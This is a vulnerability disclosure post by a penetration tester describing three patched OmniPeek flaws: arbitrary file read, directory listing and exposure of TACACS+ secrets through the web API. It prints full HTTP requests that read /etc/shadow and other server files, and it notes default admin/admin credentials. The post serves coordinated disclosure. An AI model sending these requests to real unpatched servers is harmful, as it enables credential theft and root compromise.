CVE disclosure: LiveAction OmniPeek
CVE-2019-17079, CVE-2019-17078 & CVE-2019-17077

Author: Tijme Gommers

OmniPeek[1] is a network protocol analyser built by LiveAction[2] and can be used to capture and analyse network traffic. This is useful for troubleshooting and diagnostics, when network issues occur. The Northwave Red Team identified an OmniPeek server during a penetration test on a PCI DSS[3] connected-to infrastructure.

In contrast to a vulnerability assessment (in which vulnerabilities are identified in breadth), the goal of a penetration test is to identify weaknesses and actively exploit these to penetrate systems and networks, ultimately leading high-privileged access. Thus, the Red Team tried to gain root (high privileged) access to the OmniPeek server. During this process, three vulnerabilities were identified. In consultation with the customer and LiveAction, CVEs have been requested and the vulnerabilities identified have been mitigated. The mitigations are present in OmniPeek version 13.5 and above.

This blog post details the Red Teams’ story about the three CVEs.

[1] https://www.liveaction.com/products/omnipeek-network-protocol-analyzer/

[2] https://www.liveaction.com

[3] https://www.pcisecuritystandards.org/documents/Guidance-PCI-DSS-Scoping-and-Segmentation_v1.pdf

By running a port scan on the OmniPeek server, we identified several open ports. A webserver was running on port 443 (https), which responded with a login page by default. Some of the actions that we might take after identifying a login page is applying bruteforce techniques to ‘guess’ the username and password, to gain access to the web application. However, this was not necessary as, in this case, the default credentials were still valid (admin/admin). Using these credentials, we were able to authenticate to the web application running on the server and we gained access to all the recorded network traffic.

Since network protocol analyser GUIs (in this case the web application) often communicate with command line tooling, we aimed to gain root access on the server. During the process of escalating web application access to root shell access, we identified three vulnerabilities; CVE-2019-17077, CVE-2019-17078 and CVE-2019-17079.

Due to the possible impact of these vulnerabilities, we immediately notified our customer about the risk and mitigations. We have described the CVEs that we identified in the chapters below. Please note that we did not perform a full penetration test on LiveAction OmniPeek. After becoming root on the server, we continued with the internal infrastructure penetration test.

CVE-2019-17079 Local File Inclusion (LFI)

As visible in the screenshot below, we were able to authenticate to the LiveAction OmniPeek web application. The default credentials admin/admin were in use.

When authenticated, it is possible to view “Captures”. When viewing a capture, the web application will dispatch the following API HTTP-request:

GET /api/v1/files/?authToken=&file=/var/lib/omni/data/capture/2011-2019-08-15T13.02.22.531.pktHTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: nl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: https:///omnipeek/files
Cookie: OmniplianceConfig=
Upgrade-Insecure-Requests: 1

The HTTP-response is the actual packet capture (.pkt file):

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 30 Sep 2019 09:47:55 GMT
Content-Type: application/octet-stream
Content-Length: 64915
Connection: close
Cache-Control: no-cache,no-store
Content-Disposition: attachment; filename="/2011-2019-08-15T13.02.22.531.pkt"
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block

--snip--

As seen in the HTTP-request, the absolute path to the capture is passed to the server using an HTTP get query parameter. A malicious user could modify the path in order to view arbitrary files on the server, and that is exactly what we did.

During the exploitation of this vulnerability, we also identified that the web application runs under the user `root`, which allows a malicious user to view any file on the server.

The HTTP request below demonstrates how to retrieve the file `/etc/shadow`.

GET /api/v1/files/?authToken=&file=/etc/shadow HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: nl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: https:///omnipeek/files
Cookie: OmniplianceConfig=
Upgrade-Insecure-Requests: 1

The HTTP response contains the contents of the `/etc/shadow` file:

 HTTP/1.1 200 OK
Server: nginx
Date: Fri, 27 Sep 2019 14:52:08 GMT
Content-Type: application/octet-stream
Content-Length: 846
Connection: close
Cache-Control: no-cache,no-store
Content-Disposition: attachment; filename="shadow"
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
root:*:16895:0:99999:7:::
--snip--
snmp:*:18017:0:99999:7:::
admin:$1$MASKMASK$MASKMASKMASKMASKMASK:18122:0:99999:7:::
localhost::18017:0:99999:7:::
MASKED:$1$MASKMASK$MASKMASKMASKMASKMASK:18122:0:99999:7:::

The password hashes of two users are disclosed. We were able to bruteforce one of the passwords, as visible in the screenshot below.

This password has been used to authenticate to the server via SSH and to escalate privileges to root via `su`.

This shows that the Local File Inclusion vulnerability can have a high impact when abused by a malicious user.

CVE-2019-17078 Server filesystem directory listing via API endpoint

After authenticating to the web application, LiveAction OmniPeek has the option to list network packet capture files that were saved to the filesystem. The files are in a certain directory on the filesystem. The specific directory depends on the configuration of the server, but by default `/var/lib/omni/data/` is used.

When listing network packet captures in the web application, an API request is dispatched that will list all files in the packet capture directory on the filesystem. These are then returned to the user.

However, a malicious user that is able to alter the API request is able to list other directories than the network packet capture directory. Therefore, a malicious user is able to gain more knowledge about the server. And that is exactly what we did during the penetration test.

The following HTTP-request shows that we were able to retrieve a list of all resources in a certain directory.

GET /api/v1/directory-list/?path=/etc&showFiles=true&showHiddenFiles=true HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: application/json
Accept-Language: nl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https:///omnipeek/configure
authorization: Token 
Connection: close

The HTTP-response is a JSON object of directories and files (the resources):

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 27 Sep 2019 14:37:21 GMT
Content-Type: application/json
Connection: close
Cache-Control: no-cache,no-store
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Length: 2431
{"dir":"/etc/","dirs":["/etc/fstab.d","/etc/pam.d","/etc/default","/etc/ssh","/etc/udev","/etc/network","/etc/nginx","/etc/iproute2","/etc/omni","/etc/X11","/etc/acpi","/etc/alternatives","/etc/apm","/etc/apparmor","/etc/apparmor.d","/etc/apt","/etc/bash_completion.d","/etc/ca-certificates","/etc/check_multi","/etc/console-setup","/etc/cron.d","/etc/cron.daily","/etc/cron.hourly","/etc/cron.monthly","/etc/cron.weekly
--snip--
release","pam.conf","profile","protocols","rc.local","resolv.conf","rmt","rpc","rsyslog.conf","securetty","sensors3.conf","services","shells","smartd.conf","smartd_warning.sh","sudoers","sysctl.conf","ucf.conf","upstart-xsessions","vtrgb","wgetrc"],"up":true}

The HTTP-request used to list these files is similar to the file inclusion request in CVE-2019-17079. However, the HTTP-request in this CVE only lists files, and not their content.

CVE-2019-17077 TACACS+ secret key exposed in web application

LiveAction OmniPeek has the option to authenticate users via TACACS+ (an authentication protocol developed by Cisco). In order for this to work, it is required to configure the TACACS+ server details and the secret key in the OmniPeek web application.

However, during the penetration test we identified that any authenticated user is able to retrieve the TACACS+ secret key that is configured by viewing the source of the OmniPeek configuration page.

The following HTTP-request shows how to retrieve the TACACS+ secret key via the API.

GET /api/v1/settings/ HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: application/json
Accept-Language: nl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https:///omnipeek/configure
authorization: Token 
Connection: close

The HTTP-response is a JSON object of settings (including the key):

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 27 Sep 2019 14:36:28 GMT
Content-Type: application/json
Connection: close
Cache-Control: no-cache,no-store
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Length: 2549

{"version":"2.5","engineType":"OmniEngine","network":{"agentName":"Livewire","autoRestart":true,"---snip--
":1024,"useImpersonation":false,"auditing":true,"authenticationServers":{"use":true,"servers":[{"use":true,"authenticationType":1,"name":"redacted","host":"redacted","port":49,"secret":"redacted"},{"use":true,"authenticationType":1,"name":"redacted","host":"redacted","port":1812,"secret":"redacted"}]},"adminPassword":"","userPassword":"","encrypted":true},"acl":{"use":false,"policies":[{"id":"9826ADFF-2AAD-4310-8BA1
--snip--

This shows that any authenticated user can retrieve the TACACS+ secret key. With this secret key, encrypted TACACS+ traffic can be decrypted, possibly allowing a malicious user to view passwords of users trying to authenticate to OmniPeek.